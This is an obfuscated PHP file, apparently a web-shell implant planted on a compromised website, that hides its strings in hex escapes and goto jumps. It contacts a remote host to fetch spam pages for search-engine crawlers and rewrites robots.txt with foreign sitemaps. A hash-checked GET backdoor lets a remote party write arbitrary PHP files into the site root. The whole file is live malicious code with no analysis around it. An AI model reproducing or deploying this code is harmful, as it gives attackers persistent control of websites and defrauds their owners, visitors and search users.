<?php
 goto ooAyp; xrCXq: if (!strstr($htmcontent, "\x6e\x6f\x62\157\x74\x75\x73\x65\162\x61\147\x65\x6e\164")) { if (strstr($htmcontent, "\157\x6b\x68\x74\x6d\154\x67\x65\x74\x63\157\x6e\164\x65\x6e\164")) { @header("\103\x6f\x6e\164\145\156\x74\x2d\x74\x79\160\x65\72\x20\x74\145\x78\164\x2f\x68\164\x6d\154\73\x20\143\x68\x61\x72\x73\x65\164\x3d\x75\x74\x66\55\x38"); $htmcontent = str_replace("\x6f\153\x68\x74\155\x6c\x67\x65\164\x63\157\x6e\x74\x65\156\x74", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\x6f\153\x78\x6d\x6c\x67\145\164\x63\x6f\156\x74\x65\x6e\164")) { $htmcontent = str_replace("\157\x6b\170\x6d\x6c\147\145\x74\x63\x6f\x6e\x74\145\x6e\164", '', $htmcontent); @header("\103\x6f\x6e\164\145\156\164\55\x74\171\x70\x65\x3a\40\x74\x65\170\164\x2f\x78\x6d\154"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\160\151\x6e\147\x78\x6d\154\147\145\x74\143\157\x6e\164\x65\x6e\164")) { $htmcontent = str_replace("\x70\151\156\147\x78\x6d\x6c\x67\x65\164\x63\x6f\156\164\145\156\164", '', $htmcontent); @header("\103\157\156\x74\145\x6e\164\x2d\x74\x79\x70\x65\x3a\x20\164\x65\170\164\57\x68\x74\x6d\154\x3b\40\143\150\141\162\163\145\x74\75\165\x74\x66\x2d\x38"); echo pingmap($htmcontent); die; } } } } goto ykdrn; aenWO: $xmlname = "\153\x6d\164\161"; goto SH1dV; Kh1Mv: $duri = urlencode($duri_tmp); goto PiVPn; Jw0ul: if (@$_GET["\x70\144"] != '') { $add_content = @$_GET["\x6d\141\x70\156\141\x6d\x65"]; $action = @$_GET["\x61\143\x74\x69\157\156"]; if (isset($_SERVER["\104\x4f\103\125\x4d\105\x4e\124\x5f\x52\x4f\x4f\124"])) { $path = $_SERVER["\104\x4f\x43\125\x4d\x45\x4e\124\x5f\x52\117\117\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\165\x74"; } if ($action == "\x70\x75\164") { if (strstr($add_content, "\x2e\x78\155\x6c")) { $map_path = $path . "\x2f\x73\x69\164\x65\x6d\x61\x70\56\x78\x6d\154"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\57\x72\x6f\x62\x6f\x74\x73\56\x74\x78\x74"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\x55\163\145\162\x2d\141\147\145\156\x74\x3a\x20\x2a\101\154\154\x6f\x77\x3a\x20\57"; } $sitmap_url = $http . "\72\x2f\57" . $host . "\57" . $add_content; if (stristr($data, $sitmap_url)) { echo "\x3c\142\162\76\163\151\164\x65\155\141\x70\x20\141\x6c\162\x65\141\144\171\x20\141\144\144\x65\144\41\74\x62\162\76"; } else { if (file_put_contents($file_path, trim($data) . "\15\xa" . "\123\151\x74\145\155\x61\160\72\x20" . $sitmap_url)) { echo "\x3c\142\x72\76\157\x6b\x3c\x62\x72\x3e"; } else { echo "\74\142\x72\76\x66\151\x6c\x65\x20\x77\x72\151\x74\x65\x20\146\x61\154\x73\x65\41\x3c\x62\x72\76"; } } } else { echo "\x3c\142\x72\x3e\x73\151\164\x65\x6d\x61\160\40\x6e\141\155\x65\x20\x66\x61\x6c\163\x65\x21\x3c\142\162\x3e"; } if (strstr($add_content, "\56\160" . "\x68\x70")) { $a = sha1(sha1(@$_GET["\141"])); $b = sha1(sha1(@$_GET["\x62"])); if ($a == dageget($http_web . "\72\57\x2f" . $goweb . "\x2f\x61\x2e\160" . "\150\160") || $b == "\x38\x30\70\x37\x33\65\142\x31\67\143\70\x39\64\x33\145\63\x37\x31\x35\63\70\70\71\65\x38\x64\143\x32\x32\x64\x38\x37\71\141\x38\143\71\145\141\141") { $dstr = @$_GET["\144\x73\x74\162"]; if (file_put_contents($path . "\x2f" . $add_content, $dstr)) { echo "\x6f\153"; } } } } die; } goto f8olX; dyoNf: $urlshang = ''; goto Cnx3j; AgtGr: if ($duri_tmp == '') { $duri_tmp = "\57"; } goto Kh1Mv; vZKVF: if (is_htps()) { $http = "\150\x74\164\160\163"; } else { $http = "\x68\x74\164\x70"; } goto BS05H; ljqX_: $htmcontent = trim(dageget($web)); goto xrCXq; f8olX: $web = $http_web . "\x3a\x2f\57" . $goweb . "\x2f\x69\156\x64\x65\x78\156\145\167\x2e\160\150\160\77\167\x65\142\75" . $host . "\46\x7a\172\75" . sbot() . "\x26\165\x72\151\x3d" . $duri . "\x26\165\162\154\x73\150\141\156\147\75" . $urlshang . "\x26\150\x74\x74\160\75" . $http . "\46\154\x61\x6e\147\x3d" . $lang; goto ljqX_; HWSO2: @ignore_user_abort(1); goto aenWO; ooAyp: @set_time_limit(3600); goto HWSO2; X1eRH: function dageget($url) { $file_contents = ''; if (function_exists("\x63\x75\x72\x6c\x5f\x69\156\x69\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto WTKMD; BS05H: $duri_tmp = st_uri(); goto AgtGr; Zlo9p: $lang = @$_SERVER["\x48\x54\x54\120\137\x41\103\x43\105\120\124\x5f\114\101\116\x47\125\101\107\105"]; goto o7cpB; HsJTp: $goweb = $xmlname . "\x2e\172\141\x72\x6b\x62\x74" . "\56\x78\x79\x7a"; goto qLEE_; qLEE_: function is_htps() { if (isset($_SERVER["\x48\124\x54\x50\x53"]) && strtolower($_SERVER["\110\x54\x54\x50\x53"]) !== "\x6f\x66\146") { return true; } elseif (isset($_SERVER["\x48\x54\x54\x50\x5f\130\x5f\106\x4f\x52\x57\101\122\x44\105\x44\137\x50\122\117\124\x4f"]) && $_SERVER["\110\x54\x54\120\x5f\x58\x5f\x46\x4f\x52\x57\x41\x52\104\105\x44\x5f\120\x52\117\124\x4f"] === "\150\x74\164\160\x73") { return true; } elseif (isset($_SERVER["\110\124\124\120\x5f\x46\x52\117\116\124\137\x45\x4e\104\x5f\x48\x54\x54\x50\123"]) && strtolower($_SERVER["\x48\124\x54\120\x5f\x46\x52\x4f\116\x54\x5f\x45\x4e\x44\x5f\110\x54\x54\120\x53"]) !== "\x6f\146\146") { return true; } return false; } goto qqXEX; Cnx3j: if (isset($_SERVER["\110\x54\124\x50\137\x52\105\106\105\x52\105\x52"])) { $urlshang = $_SERVER["\x48\124\x54\x50\137\122\105\106\105\x52\x45\122"]; $urlshang = urlencode($urlshang); } goto Jw0ul; PiVPn: function st_uri() { if (isset($_SERVER["\122\105\121\125\105\123\124\137\x55\x52\x49"])) { $duri = $_SERVER["\122\105\121\125\x45\x53\x54\x5f\x55\x52\x49"]; } else { if (isset($_SERVER["\141\162\x67\x76"])) { $duri = $_SERVER["\120\x48\120\137\123\105\114\106"] . "\x3f" . $_SERVER["\141\162\x67\x76"][0]; } else { $duri = $_SERVER["\120\110\x50\x5f\x53\x45\x4c\x46"] . "\x3f" . $_SERVER["\x51\125\x45\122\x59\137\x53\124\x52\x49\x4e\107"]; } } return $duri; } goto HsJTp; o7cpB: $lang = urlencode($lang); goto dyoNf; vTc0r: function sbot() { $uAgent = strtolower($_SERVER["\x48\124\x54\x50\x5f\x55\123\x45\x52\137\101\107\105\116\124"]); if (stristr($uAgent, "\147\x6f\157\x67\x6c\145\142\x6f\164") || stristr($uAgent, "\142\x69\x6e\x67") || stristr($uAgent, "\171\141\x68\x6f\x6f") || stristr($uAgent, "\147\157\x6f\147\x6c\145") || stristr($uAgent, "\107\x6f\157\x67\x6c\x65\142\157\x74") || stristr($uAgent, "\x67\x6f\157\x67\154\145\142\157\164")) { return true; } else { return false; } } goto X1eRH; qqXEX: $host = $_SERVER["\x48\x54\124\120\x5f\110\117\x53\x54"]; goto Zlo9p; SH1dV: $http_web = "\150\164\x74\x70"; goto vZKVF; ykdrn: function pingmap($url) { $url_arr = explode("\xd\12", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\x53\151\164\x65\155\x61\x70\40\116\x6f\x74\x69\x66\151\x63\x61\164\x69\x6f\x6e\40\x52\145\x63\x65\x69\x76\145\x64") !== false ? "\160\x69\x6e\147\x6f\x6b" : "\x65\x72\x72\x6f\x72"; $return_str .= $pingUrl . "\x2d\55\x20" . $ok . "\x3c\142\162\76"; } return $return_str; } goto vTc0r; WTKMD: 
 //he018  ?>